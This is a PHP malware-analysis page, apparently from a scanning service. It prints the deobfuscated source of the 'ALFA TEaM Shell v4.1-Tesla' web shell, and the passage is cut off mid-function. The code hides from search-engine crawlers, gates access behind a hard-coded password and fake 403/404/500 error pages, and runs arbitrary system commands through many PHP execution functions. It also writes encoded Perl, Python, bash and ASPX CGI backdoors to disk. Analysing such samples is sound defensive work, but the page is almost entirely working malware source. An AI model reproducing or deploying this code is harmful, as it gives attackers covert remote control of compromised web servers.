PHP Malware Analysis

alfa.php, alfa.phtml, FileManagerFull.php, hw0.php

md5: 67eba714f23ee4b7c9caf7136cb983db

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title
  • ..:: localhost ~ ALFA TEaM Shell - v4.1-Tesla ::.. (HTML)

URLs


Deobfuscated PHP code

<?php

/*
	Author: 	Solevisible/Alfa-Team
	Telegram: 	https://telegram.me/solevisible
	YouTube: 	https://youtube.com/solevisible
	Gmail:		solevisible@gmail.com
	Date:		Monday, September 14, 2020
*/
$GLOBALS['oZgNypoPRU'] = array(
    'username' => 'alfa',
    'password' => 'a6f452ec3293d7fb72c5b677257b20ec',
    //md5(ehsan)
    'safe_mode' => '0',
    'login_page' => '403',
    'show_icons' => '1',
    'post_encryption' => false,
    'cgi_api' => true,
);
$CWppUDJxuf = 'function_exists';
$aztJtafUXm = 'charCodeAt';
$OVpGNqqFZs = 'eval';
$psDEwGhsxg = 'gzinflate';
if (!function_exists('base64_encode')) {
    function vcnvSCZgBz($data)
    {
        if (empty($data)) {
            return;
        }
        $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
        $ac = 0;
        $enc = '';
        $tmp_arr = array();
        if (!$data) {
            return $data;
        }
        do {
            $o1 = $aztJtafUXm($data, $i++);
            $o2 = $aztJtafUXm($data, $i++);
            $o3 = $aztJtafUXm($data, $i++);
            $bits = $o1 << 16 | $o2 << 8 | $o3;
            $h1 = $bits >> 18 & 0x3f;
            $h2 = $bits >> 12 & 0x3f;
            $h3 = $bits >> 6 & 0x3f;
            $h4 = $bits & 0x3f;
            $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
        } while ($i < strlen($data));
        $enc = implode($tmp_arr, '');
        $r = strlen($data) % 3;
        return ($r ? substr($enc, 0, $r - 3) : $enc) . substr('===', $r || 3);
    }
    function charCodeAt($data, $char)
    {
        return ord(substr($data, $char, 1));
    }
    function charAt($data, $char)
    {
        return substr($data, $char, 1);
    }
} else {
    function vcnvSCZgBz($s)
    {
        $b = 'base64_encode';
        return base64_encode($s);
    }
}
if (!$CWppUDJxuf('base64_decode')) {
    function zRtSHsbTzV($input)
    {
        if (empty($input)) {
            return;
        }
        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
        $i = 0;
        $output = "";
        $input = preg_replace("[^A-Za-z0-9\\+\\/\\=]", "", $input);
        do {
            $enc1 = strpos($keyStr, substr($input, $i++, 1));
            $enc2 = strpos($keyStr, substr($input, $i++, 1));
            $enc3 = strpos($keyStr, substr($input, $i++, 1));
            $enc4 = strpos($keyStr, substr($input, $i++, 1));
            $chr1 = $enc1 << 2 | $enc2 >> 4;
            $chr2 = ($enc2 & 15) << 4 | $enc3 >> 2;
            $chr3 = ($enc3 & 3) << 6 | $enc4;
            $output .= chr((int) $chr1);
            if ($enc3 != 64) {
                $output .= chr((int) $chr2);
            }
            if ($enc4 != 64) {
                $output .= chr((int) $chr3);
            }
            $chr1 = $chr2 = $chr3 = "";
            $enc1 = $enc2 = $enc3 = $enc4 = "";
        } while ($i < strlen($input));
        return $output;
    }
} else {
    function zRtSHsbTzV($s)
    {
        $b = 'base64_decode';
        return base64_decode($s);
    }
}
function __ZW5jb2Rlcg($s)
{
    return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
    return zRtSHsbTzV($s);
}
$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];
foreach ($GLOBALS['DB_NAME'] as $key => $value) {
    $prefix = substr($key, 0, 2);
    if ($prefix == "us") {
        $GLOBALS['DB_NAME']["user"] = $value;
        $GLOBALS['DB_NAME']["user_rand"] = $key;
    } elseif ($prefix == "pa") {
        $GLOBALS['DB_NAME']["pass"] = $value;
        $GLOBALS['DB_NAME']["pass_rand"] = $key;
    } elseif ($prefix == "sa") {
        $GLOBALS['DB_NAME']["safemode"] = $value;
        $GLOBALS['DB_NAME']["safemode_rand"] = $key;
    } elseif ($prefix == "lo") {
        $GLOBALS['DB_NAME']["login_page"] = $value;
        $GLOBALS['DB_NAME']["login_page_rand"] = $key;
    } elseif ($prefix == "sh") {
        $GLOBALS['DB_NAME']["show_icons"] = $value;
        $GLOBALS['DB_NAME']["show_icons_rand"] = $key;
    } elseif ($prefix == "po") {
        $GLOBALS['DB_NAME']["post_encryption"] = $value;
        $GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
    } elseif ($prefix == "cg") {
        $GLOBALS['DB_NAME']["cgi_api"] = $value;
        $GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
    }
}
unset($GLOBALS['oZgNypoPRU']);
if (!isset($_SERVER["HTTP_HOST"])) {
    exit;
}
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "bot", "spider");
    if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i", $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
if (!isset($GLOBALS['DB_NAME']['user'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'user\']');
}
if (!isset($GLOBALS['DB_NAME']['pass'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
}
if (!isset($GLOBALS['DB_NAME']['safemode'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
}
if (!isset($GLOBALS['DB_NAME']['login_page'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
}
if (!isset($GLOBALS['DB_NAME']['show_icons'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
}
if (!isset($GLOBALS['DB_NAME']['post_encryption'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
}
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", isset($GLOBALS["DB_NAME"]["post_encryption"]) && $GLOBALS["DB_NAME"]["post_encryption"] == true ? true : false);
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__ ? _AlfaSecretKey() : '');
$GLOBALS['__ALFA_COLOR__'] = array("shell_border" => array("key_color" => "#0E304A", "multi_selector" => array(".header" => "border: 7px solid {color}", "#meunlist" => "border-color: {color}", "#hidden_sh" => "background-color: {color}", ".ajaxarea" => "border: 1px solid {color}", ".foot" => "border-color: {color}")), "header_vars" => "#27979B", "header_values" => "#67ABDF", "header_on" => "#00FF00", "header_off" => "#ff0000", "header_none" => "#00FF00", "home_shell" => "#ff0000", "home_shell:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".home_shell:hover" => "color: {color};")), "back_shell" => "#efbe73", "back_shell:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".back_shell:hover" => "color: {color};")), "header_pwd" => "#00FF00", "header_pwd:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".header_pwd:hover" => "color: {color};")), "header_drive" => "#00FF00", "header_drive:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".header_drive:hover" => "color: {color};")), "header_show_all" => "#00FF00", "disable_functions" => "#ff0000", "footer_text" => "#27979B", "menu_options" => "#27979B", "menu_options:hover" => array("key_color" => "#646464", "multi_selector" => array(".menu_options:hover" => "background-color: {color};font-weight: unset;")), "options_list" => array("key_color" => "#00FF00", "multi_selector" => array(".content_options_holder .header center a" => "color: {color};")), "options_list:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".content_options_holder .header center a:hover" => "color: {color};")), "options_list_header" => array("key_color" => "#59cc33", "multi_selector" => array(".txtfont_header" => "color: {color};")), "options_list_text" => array("key_color" => "#FFFFFF", "multi_selector" => array(".txtfont,.tbltxt" => "color: {color};")), "Alfa+" => array("key_color" => "#06ff0f", "multi_selector" => array(".alfa_plus" => "color: {color};font-weight: unset;")), "hidden_shell_text" => array("key_color" => "#00FF00", "multi_selector" => array("#hidden_sh a" => "color: {color};")), "hidden_shell_version" => "#ff0000", "shell_name" => "#FF0000", "main_row:hover" => array("key_color" => "#646464", "multi_selector" => array(".main tr:hover" => "background-color: {color};")), "main_header" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main th" => "color: {color};")), "main_name" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main .main_name" => "color: {color};font-weight: unset;")), "main_size" => "#67ABDF", "main_modify" => "#67ABDF", "main_owner_group" => "#67ABDF", "main_green_perm" => "#25ff00", "main_red_perm" => "#FF0000", "main_white_perm" => "#FFFFFF", "beetween_perms" => "#FFFFFF", "main_actions" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main .actions" => "color: {color};")), "menu_options:hover" => array("key_color" => "#646464", "multi_selector" => array(".menu_options:hover" => "background-color: {color};font-weight: unset;")), "minimize_editor_background" => array("key_color" => "#0e304a", "multi_selector" => array(".minimized-wrapper" => "background-color: {color};")), "minimize_editor_text" => array("key_color" => "#f5deb3", "multi_selector" => array(".minimized-text" => "color: {color};")), "editor_border" => array("key_color" => "#0e304a", "multi_selector" => array(".editor-explorer,.editor-modal" => "border: 2px solid {color};")), "editor_background" => array("key_color" => "rgba(0, 1, 23, 0.94)", "multi_selector" => array(".editor-explorer,.editor-modal" => "background-color: {color};")), "editor_header_background" => array("key_color" => "rgba(21, 66, 88, 0.93)", "multi_selector" => array(".editor-header" => "background-color: {color};")), "editor_header_text" => array("key_color" => "#00ff7f", "multi_selector" => array(".editor-path" => "color: {color};")), "editor_header_button" => array("key_color" => "#1d5673", "multi_selector" => array(".close-button, .editor-minimize" => "background-color: {color};")), "editor_actions" => array("key_color" => "#FFFFFF", "multi_selector" => array(".editor_actions" => "color: {color};")), "editor_file_info_vars" => array("key_color" => "#FFFFFF", "multi_selector" => array(".editor_file_info_vars" => "color: {color};")), "editor_file_info_values" => array("key_color" => "#67ABDF", "multi_selector" => array(".filestools" => "color: {color};")), "editor_history_header" => array("key_color" => "#14ff07", "multi_selector" => array(".hheader-text,.history-clear" => "color: {color};")), "editor_history_list" => array("key_color" => "#03b3a3", "multi_selector" => array(".editor-file-name" => "color: {color};")), "editor_history_selected_file" => array("key_color" => "rgba(49, 55, 93, 0.77)", "multi_selector" => array(".is_active" => "background-color: {color};")), "editor_history_file:hover" => array("key_color" => "#646464", "multi_selector" => array(".file-holder > .history:hover" => "background-color: {color};")), "input_box_border" => array("key_color" => "#0E304A", "multi_selector" => array("input[type=text],textarea" => "border: 1px solid {color}")), "input_box_text" => array("key_color" => "#999999", "multi_selector" => array("input[type=text],textarea" => "color: {color};")), "input_box:hover" => array("key_color" => "#27979B", "multi_selector" => array("input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "select_box_border" => array("key_color" => "#0E304A", "multi_selector" => array("select" => "border: 1px solid {color}")), "select_box_text" => array("key_color" => "#FFFFEE", "multi_selector" => array("select" => "color: {color};")), "select_box:hover" => array("key_color" => "#27979B", "multi_selector" => array("select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "button_border" => array("key_color" => "#27979B", "multi_selector" => array("input[type=submit],.button,#addup" => "border: 1px solid {color};")), "button:hover" => array("key_color" => "#27979B", "multi_selector" => array("input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};", ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "outputs_text" => array("key_color" => "#67ABDF", "multi_selector" => array(".ml1" => "color: {color};")), "outputs_border" => array("key_color" => "#0E304A", "multi_selector" => array(".ml1" => "border: 1px solid {color};")), "uploader_border" => array("key_color" => "#0E304A", "multi_selector" => array(".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "uploader_background" => array("key_color" => "#0E304A", "multi_selector" => array(".inputfile strong" => "background-color: {color};")), "uploader_text_right" => array("key_color" => "#FFFFFF", "multi_selector" => array(".inputfile strong" => "color: {color};")), "uploader_text_left" => array("key_color" => "#25ff00", "multi_selector" => array(".inputfile span" => "color: {color};")), "uploader:hover" => array("key_color" => "#27979B", "multi_selector" => array(".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "uploader_progress_bar" => array("key_color" => "#00ff00", "multi_selector" => array(".up_bar" => "background-color: {color};")), "mysql_tables" => "#00FF00", "mysql_table_count" => "#67ABDF", "copyright" => "#dfff00", "scrollbar" => array("key_color" => "#1e82b5", "multi_selector" => array("*::-webkit-scrollbar-thumb" => "background-color: {color};")), "scrollbar_background" => array("key_color" => "#000115", "multi_selector" => array("*::-webkit-scrollbar-track" => "background-color: {color};")));
$GLOBALS['__file_path'] = str_replace('\\', '/', trim("/var/www/html/hw0.php.db99755e26408a17cf64460e9b4b83f3.bin"));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'], 'AlfaPass' => $GLOBALS['DB_NAME']['pass'], 'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'], 'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if ($config['AlfaProtectShell']) {
    $SERVER_SIG = isset($_SERVER["SERVER_SIGNATURE"]) ? $_SERVER["SERVER_SIGNATURE"] : "";
    $Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
    if ($config['AlfaLoginPage'] == 'gui') {
        if (@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])) {
            if (@$_POST["usrname"] == $config['AlfaUser'] && @md5($_POST["password"]) == $config['AlfaPass']) {
                __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
                __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
                @header('location: ' . $_SERVER["PHP_SELF"]);
            }
            echo "\r\n<style>\r\nbody{background: black;}\r\n#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }\r\n#loginbox td { border-radius:5px; font-size:11px; }\r\n</style>\r\n<title>~ ALFA TEaM Shell-v4.1-Tesla ~</title><center>\r\n<center><img style=\"border-radius:100px;\" width=\"500\" height=\"250\" alt=\"alfa team 2012\" draggable=\"false\" src=\"http://solevisible.com/images/alfa-iran.png\" /></center>\r\n<div id=loginbox><p><font face=\"verdana,arial\" size=-1>\r\n<center><table cellpadding='2' cellspacing='0' border='0' id='ap_table'>\r\n<tr><td bgcolor=\"green\"><table cellpadding='0' cellspacing='0' border='0' width='100%'><tr><td bgcolor=\"green\" align=center style=\"padding:2;padding-bottom:4\"><b><font color=\"white\" size=-1 color=\"white\" face=\"verdana,arial\"><b>~ ALFA TEaM Shell-v4.1-Tesla ~</b></font></th></tr>\r\n<tr><td bgcolor=\"black\" style=\"padding:5\">\r\n<form method=\"post\">\r\n<input type=\"hidden\" name=\"action\" value=\"login\">\r\n<input type=\"hidden\" name=\"hide\" value=\"\">\r\n<center><table>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Login:</font></td><td><input type=\"text\" size=\"30\" name=\"usrname\" placeholder=\"username\" onfocus=\"if (this.value == 'username'){this.value = '';}\"></td></tr>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Password:</font></td><td><input type=\"password\" size=\"30\" name=\"password\" placeholder=\"password\" onfocus=\"if (this.value == 'password') this.value = '';\"></td></tr>\r\n<tr><td><font face=\"verdana,arial\" size=-1>&nbsp;</font></td><td><font face=\"verdana,arial\" size=-1><input type=\"submit\" value=\"Login\"></font></td></tr></table>\r\n</div><br /></center>";
            exit;
        }
    } elseif ($config['AlfaLoginPage'] == '500') {
        if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
            if (@md5($_POST["password"]) == $config['AlfaPass']) {
                __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
                __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
                @header('location: ' . $_SERVER["PHP_SELF"]);
            }
            echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, ' . $_SERVER['SERVER_ADMIN'] . ' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
            exit;
        }
    } elseif ($config['AlfaLoginPage'] == '403') {
        if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
            if (@md5($_POST["password"]) == $config['AlfaPass']) {
                __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
                __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
                @header('location: ' . $_SERVER["PHP_SELF"]);
            }
            echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access " . $_SERVER['PHP_SELF'] . " on this server.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
            exit;
        }
    } elseif ($config['AlfaLoginPage'] == '404') {
        if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
            if (@md5($_POST["password"]) == $config['AlfaPass']) {
                __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
                __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
                @header('location: ' . $_SERVER["PHP_SELF"]);
            }
            echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL " . $_SERVER['PHP_SELF'] . " was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
            exit;
        }
    }
}
function decrypt_post($str)
{
    if (__ALFA_POST_ENCRYPTION__) {
        $pwd = __ALFA_SECRET_KEY__;
        $pwd = __ZW5jb2Rlcg($pwd);
        $str = __ZGVjb2Rlcg($str);
        $enc_chr = "";
        $enc_str = "";
        $i = 0;
        while ($i < strlen($str)) {
            for ($j = 0; $j < strlen($pwd); $j++) {
                $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                $enc_str .= $enc_chr;
                $i++;
                if ($i >= strlen($str)) {
                    break;
                }
            }
        }
        return __ZGVjb2Rlcg($enc_str);
    } else {
        return __ZGVjb2Rlcg($str);
    }
}
function _AlfaSecretKey()
{
    $secret = @$_COOKIE["AlfaSecretKey"];
    if (!isset($_COOKIE["AlfaSecretKey"])) {
        $secret = uniqid(mt_rand(), true);
        __alfa_set_cookie("AlfaSecretKey", $secret);
    }
    return $secret;
}
function alfa_getColor($target)
{
    if (isset($GLOBALS["DB_NAME"]["color"][$target]) && $GLOBALS["DB_NAME"]["color"][$target] != "") {
        return $GLOBALS["DB_NAME"]["color"][$target];
    } else {
        $target = $GLOBALS["__ALFA_COLOR__"][$target];
        if (is_array($target)) {
            return $target["key_color"];
        } else {
            return $target;
        }
    }
}
function alfaCssLoadColors()
{
    $css = "";
    foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
        if (!is_array($value)) {
            $value = alfa_getColor($key);
            $css .= ".{$key}{color: {$value};}";
        } else {
            if (isset($value["multi_selector"])) {
                foreach ($value["multi_selector"] as $k => $v) {
                    $color = alfa_getColor($key);
                    $code = str_replace("{color}", $color, $v);
                    $css .= $k . "{" . $code . "}";
                }
            }
        }
    }
    return $css;
}
if (isset($_POST['ajax'])) {
    function AlfaNum()
    {
        $args = func_get_args();
        $alfax = array();
        $find = array();
        for ($i = 1; $i <= 10; $i++) {
            $alfax[] = $i;
        }
        foreach ($args as $arg) {
            $find[] = $arg;
        }
        echo "<script>";
        foreach ($alfax as $alfa) {
            if (in_array($alfa, $find)) {
                continue;
            }
            echo 'alfa' . $alfa . "_=";
        }
        echo "\"\"</script>";
    }
}
function _alfa_cgicmd($cmd, $lang = "perl", $set_cookie = false)
{
    if (!$GLOBALS["DB_NAME"]["cgi_api"]) {
        return "";
    }
    if (isset($_COOKIE["alfacgiapi_mode"])) {
        return "";
    }
    $cmd_pure = $cmd;
    $is_curl = function_exists('curl_version');
    $is_socket = function_exists('fsockopen');
    if ($is_curl || $is_socket) {
        $recreate = false;
        if (isset($_COOKIE["alfacgiapi"])) {
            if (!@file_exists("alfacgiapi/" . $_COOKIE["alfacgiapi"] . ".alfa")) {
                $recreate = true;
                $lang = $_COOKIE["alfacgiapi"];
            }
        }
        if (!isset($_COOKIE["alfacgiapi"]) || $recreate) {
            @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
            $perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
            $py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
            $bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
            $aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
            if ($lang == "perl") {
                $source = $perl;
            } elseif ($lang == "py") {
                $source = $py;
            } else {
                $source = $bash;
            }
            if ($lang == "aspx") {
                alfaWriteTocgiapi("aspx.aspx", $aspx);
            } else {
                alfaWriteTocgiapi($lang . ".alfa", $source);
            }
            alfacgihtaccess('cgi', "alfacgiapi/");
        } else {
            $lang = $_COOKIE["alfacgiapi"];
        }
        $cgi_ext = ".alfa";
        if ($lang == "aspx") {
            $cgi_ext = ".aspx";
        }
        $cgi_url = "ALFA_DATA/alfacgiapi/" . $lang . $cgi_ext;
        $cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=" . __ZW5jb2Rlcg("cd " . $GLOBALS['cwd'] . ";" . $cmd);
        if ($is_curl) {
            $address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://") . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . "/" . $cgi_url;
            $post = new AlfaCURL();
            $data = $post->Send($address, "post", $cmd);
        } elseif ($is_socket) {
            $server = $_SERVER["SERVER_NAME"];
            $uri = dirname($_SERVER["REQUEST_URI"]) . "/" . $cgi_url;
            $data = _alfa_fsockopen($server, $uri, $cmd);
        }
        $out = "";
        if (strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false) {
            if ($set_cookie) {
                __alfa_set_cookie("alfacgiapi", $lang);
            }
            if (@preg_match("/<pre>(.*?)<\\/pre>/s", $data, $res)) {
                $out = $res[1];
            }
        } elseif ($lang == "perl") {
            return _alfa_cgicmd($cmd_pure, "py", $set_cookie);
        } elseif ($lang == "py") {
            return _alfa_cgicmd($cmd_pure, "bash", $set_cookie);
        } elseif ($lang == "bash" && $GLOBALS['sys'] == "win") {
            return _alfa_cgicmd($cmd_pure, "aspx", $set_cookie);
        } else {
            if ($set_cookie) {
                __alfa_set_cookie("alfacgiapi_mode", "off");
            }
        }
        return trim($out);
    } else {
        return "";
    }
}
function alfaGetCwd()
{
    if (function_exists("getcwd")) {
        return @getcwd();
    } else {
        return dirname($_SERVER["SCRIPT_FILENAME"]);
    }
}
function alfaEx($in, $re = false, $cgi = true, $all = false)
{
    $data = _alfa_php_cmd($in, $re);
    if (empty($data) && $cgi || $all) {
        if ($GLOBALS['sys'] == 'unix') {
            if (strlen(_alfa_php_cmd("whoami")) == 0 || $all) {
                $cmd = _alfa_cgicmd($in);
                if (!empty($cmd)) {
                    return $cmd;
                }
            }
        }
    }
    return $data;
}
function _alfa_php_cmd($in, $re = false)
{
    $out = '';
    try {
        if ($re) {
            $in .= " 2>&1";
        }
        if (function_exists('exec')) {
            @exec($in, $out);
            $out = @join("\n", $out);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $out = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $out = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $out = shell_exec($in);
        } elseif (function_exists("popen") && function_exists("pclose")) {
            if (is_resource($f = @popen($in, "r"))) {
                $out = "";
                while (!@feof($f)) {
                    $out .= fread($f, 1024);
                }
                pclose($f);
            }
        } elseif (function_exists('proc_open')) {
            $pipes = array();
            $process = @proc_open($in . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
            $out = @stream_get_contents($pipes[1]);
        } elseif (class_exists('COM')) {
            $alfaWs = new COM('WScript.shell');
            $exec = $alfaWs->exec('cmd.exe /c ' . $_POST['alfa1']);
            $stdout = $exec->StdOut();
            $out = $stdout->ReadAll();
        }
    } catch (Exception $e) {
    }
    return $out;
}
function _alfa_fsockopen($server, $uri, $post)
{
    $socket = @fsockopen($server, 80, $errno, $errstr, 15);
    if ($socket) {
        $http = "POST {$uri} HTTP/1.0\r\n";
        $http .= "Host: {$server}\r\n";
        $http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
        $http .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $http .= "Content-length: " . strlen($post) . "\r\n";
        $http .= "Connection: close\r\n\r\n";
        $http .= $post . "\r\n\r\n";
        fwrite($socket, $http);
        $contents = "";
        while (!@feof($socket)) {
            $contents .= @fgets($socket, 4096);
        }
        list($header, $body) = explode("\r\n\r\n", $contents, 2);
        @fclose($socket);
        return $body;
    } else {
        return "";
    }
}
if (isset($_GET["solevisible"])) {
    @error_reporting("\x00\x00\x0f\x03\x18");
    echo "<html>";
    echo "<title>Solevisible Hidden Shell</title>";
    echo "<body bgcolor=#000000>";
